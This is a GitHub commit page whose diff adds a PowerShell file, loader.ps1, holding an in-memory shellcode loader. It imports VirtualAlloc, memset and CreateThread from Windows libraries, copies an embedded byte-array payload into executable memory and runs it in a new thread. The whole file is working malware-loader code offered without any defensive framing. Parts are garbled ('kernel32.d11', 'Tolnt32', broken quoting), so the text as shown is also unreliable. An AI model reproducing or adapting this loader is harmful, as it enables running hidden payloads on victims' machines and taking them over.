Skip to content

Commit

Permalink
Create loader.ps1
Browse files Browse the repository at this point in the history
  • Loading branch information
PetchouDev committed Feb 2, 2022
1 parent 960cf10 commit 8d6f3a3
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions loader.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
$pos= '[DllImport("kernel32.d11")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwpysize, uint flAllocationType, uint flProtect);[DllImport("kerne132.d11")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackpysize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$malFunc = Add-Type -memberDefinition $pos -Name 11Win32" -namespace Win32Functions -p assthru;
[Byte []];
[Byte[]] $pyld = 0xda,0xd6,0xba,0x41,0xd8,0xb7,0x3e,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x59,0x31,0x56,0x19,0x83,0xee,0xfc,0x3,0x56,0x15,0xa3,0x2d,0x4b,0xd6,0xac,0xce,0xb4,0x27,0xd2,0x47,0x51,0x16,0xc0,0x3c,0x11,0xb,0xd4,0x37,0x77,0xa0,0x9f,0x1a,0x6c,0xb7,0x28,0xd0,0xaa,0x4c,0x24,0xcd,0x83,0xad,0xf9,0xcd,0x48,0x6d,0x98,0xb1,0x92,0xa2,0x7a,0x8b,0x5c,0xb7,0x7b,0xcc,0x2a,0xbd,0x94,0x80,0xfb,0xb6,0x38,0x35,0x8f,0x8b,0x80,0x34,0x5f,0x80,0xb8,0x4e,0xda,0x57,0x4c,0xe3,0xe5,0x87,0x27,0xa3,0xc5,0x77,0xbc,0x1c,0x1e,0x79,0x11,0x19,0xd7,0xd,0xa9,0x6b,0xd9,0x12,0x5a,0x5f,0x92,0xec,0x8a,0x91,0x64,0x42,0xf3,0x1d,0x69,0x9a,0x34,0x99,0x92,0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,0xa5,0xdf,0xfc,0xc9,0x5a,0x20,0x1,0xc0,0x3e,0x21,0x1,0xec,0x40,0x1e,0xd7,0xd5,0x36,0x61,0xeb,0x61,0x48,0xd4,0x4e,0xc3,0xc3,0x16,0xdc,0x13,0xc6
$pysize= 0x1000;
if ($pyld.Length -gt 0x1000) {$pysize = $pyld.Length};
$z = $malFunc::VirtualAlloc(0,$pysize,0x3000,0x40);
for ($i=0;$i -le ($pyld.Length-1);$i++) {$malFunc::memset([IntPtr]($z.Tolnt32()+$i), $pyld
[$i], 1)} ;
$malFunc::CreateThread(0,0,$z,0,0,0);for (;;) { Start-sleep 60 };

0 comments on commit 8d6f3a3

Please sign in to comment.